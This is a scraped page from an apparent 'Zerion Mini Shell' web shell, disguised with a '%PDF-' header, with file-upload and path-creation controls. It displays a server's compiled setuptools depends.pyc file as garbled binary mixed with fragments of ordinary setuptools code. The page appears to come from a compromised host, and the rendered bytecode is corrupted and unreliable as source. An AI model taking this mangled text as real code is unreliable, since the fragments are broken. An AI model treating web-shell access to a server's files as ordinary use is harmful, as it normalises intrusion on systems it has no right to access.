%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/setuptools/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/setuptools/__pycache__/depends.cpython-312.pyc

�


_�d����ddlZddlZddlZddlZddlmZddlmZmZm	Z	m
Z
ddlmZgd�ZGd�d�Z
d	�Zd
d
�Zdd�Zd�Ze�y)�N)�version�)�find_module�PY_COMPILED�	PY_FROZEN�	PY_SOURCE)�_imp)�Requirer�get_module_constant�extract_constantc�>�eZdZdZ	d	d�Zd�Zd�Zd
d�Zdd�Zdd�Z	y)r
z7A prerequisite to building or installing a distributionNc��|�|�tj}|�||�}|�d}|jjt	��|`y)N�__version__)r�Version�__dict__�update�locals�self)r�name�requested_version�module�homepage�	attribute�formats       �4/usr/lib/python3/dist-packages/setuptools/depends.py�__init__zRequire.__init__sN���>�/�;��_�_�F��� &�'8� 9��� �)�	��
�
���V�X�&��I�c�h�|j�|j�d|j��S|jS)z0Return full package/distribution name, w/version�-)rr)rs r�	full_namezRequire.full_name s-���!�!�-�"�i�i��)?�)?�@�@��y�y�rc��|jduxs>|jduxs.t|�dk7xr|j|�|jk\S)z%Is 'version' sufficiently up-to-date?N�unknown)rr�strr)rrs  r�
version_okzRequire.version_ok&sS��
�N�N�d�"�
?��{�{�d�"�
?��7�|�y�(�?����G�$��(>�(>�>�		
rc�$�|j�/	t|j|�\}}}|r|j�|St|j|j||�}|�!||ur|j�|j
|�S|S#t$rYywxYw)a�Get version number of installed module, 'None', or 'default'

        Search 'paths' for module.  If not found, return 'None'.  If found,
        return the extracted version attribute, or 'default' if no version
        attribute was specified, or the value cannot be determined without
        importing the module.  The version is formatted according to the
        requirement's version format (if any), unless it is 'None' or the
        supplied 'default'.
        N)rrr�close�ImportErrorrr)r�paths�default�f�p�i�vs       r�get_versionzRequire.get_version/s����>�>�!�
�%�d�k�k�5�9���1�a���G�G�I���
 ����T�^�^�W�e�L���=�Q�g�-�$�+�+�2I��;�;�q�>�!�����
��
�s�-B�	B�Bc�(�|j|�duS)z/Return true if dependency is present on 'paths'N)r.)rr(s  r�
is_presentzRequire.is_presentJs������&�d�2�2rc�^�|j|�}|�y|jt|��S)z>Return true if dependency is present and up-to-date on 'paths'F)r.r$r#)rr(rs   r�
is_currentzRequire.is_currentNs-���"�"�5�)���?�����s�7�|�,�,r)�NN)Nr"�N)
�__name__�
__module__�__qualname__�__doc__rr r$r.r0r2�rrr
r
s*��A�TX���
��63�-rr
c�j�tjd��}|s|�Stj|�S)Nc3�K�d��y�wr4r9r9rr�emptyzmaybe_close.<locals>.emptyWs����
��s�)�
contextlib�contextmanager�closing)r*r<s  r�maybe_closer@Vs7��������
��w�����a� � rc���	t||�x\}}\}}}}	t|�5|tk(r'|j	d�tj|�}
nr|tk(rtj||�}
nR|tk(rt|j	�|d�}
n-tj|||	�}t||d�cddd�Sddd�t
||�S#t$rYywxYw#1swY�%xYw)z�Find 'module' by searching 'paths', and extract 'symbol'

    Return 'None' if 'module' does not exist on 'paths', or it does not define
    'symbol'.  If the module defines 'symbol' as a constant, return the
    constant.  Otherwise, return 'default'.N��exec)rr'r@r�read�marshal�loadrr	�get_frozen_objectr�compile�
get_module�getattrr)r�symbolr)r(r*�path�suffix�mode�kind�info�code�importeds            rrrbs����/:�6�5�/I�I�%��4�%�&�$���

�Q��3��;��
�F�F�1�I��<�<��?�D�
�Y�
��)�)�&�%�8�D�
�Y�
��1�6�6�8�T�6�2�D����v�u�d�;�H��8�V�T�2�3�3�3��D�&�'�2�2��#�����3�3�s�C�BC*�	C'�&C'�*C3c�2�||jvryt|j�j|�}d}d}d}|}tj|�D]D}|j
}	|j}
|	|k(r|j|
}�0|
|k(r|	|k(s|	|k(r|cS|}�Fy)aExtract the constant value of 'symbol' from 'code'

    If the name 'symbol' is bound to a constant value by the Python code
    object 'code', return that value.  If 'symbol' is bound to an expression,
    return 'default'.  Otherwise, return 'None'.

    Return value is based on the first assignment to 'symbol'.  'symbol' must
    be a global, or at least a non-"fast" local in the code block.  That is,
    only 'STORE_NAME' and 'STORE_GLOBAL' opcodes are checked, and 'symbol'
    must be present in 'code.co_names'.
    N�Z�a�d)�co_names�list�index�dis�Bytecode�opcode�arg�	co_consts)rQrKr)�name_idx�
STORE_NAME�STORE_GLOBAL�
LOAD_CONST�const�	byte_code�opr]s           rrrs����T�]�]�"���D�M�M�"�(�(��0�H��J��L��J��E��\�\�$�'�	�	�
�
�
���m�m��
����N�N�3�'�E�
�H�_�"�
�"2�b�L�6H��L��E�	rc��tjjd�stjdk7ryd}|D]"}t�|=tj|��$y)z�
    Patch the globals to remove the objects not available on some platforms.

    XXX it'd be better to test assertions about bytecode instead.
    �java�cliN)rr)�sys�platform�
startswith�globals�__all__�remove)�incompatiblers  r�_update_globalsrp�sM���<�<�"�"�6�*�s�|�|�u�/D��<�L�����I�d�O����t��r)���N)rq)rirEr=rZ�setuptools.extern.packagingrr	rrrrr3rmr
r@rrrpr9rr�<module>rssO��
���
�/�@�@��P��D-�D-�N	!�3�:!�H��r

Zerion Mini Shell 1.0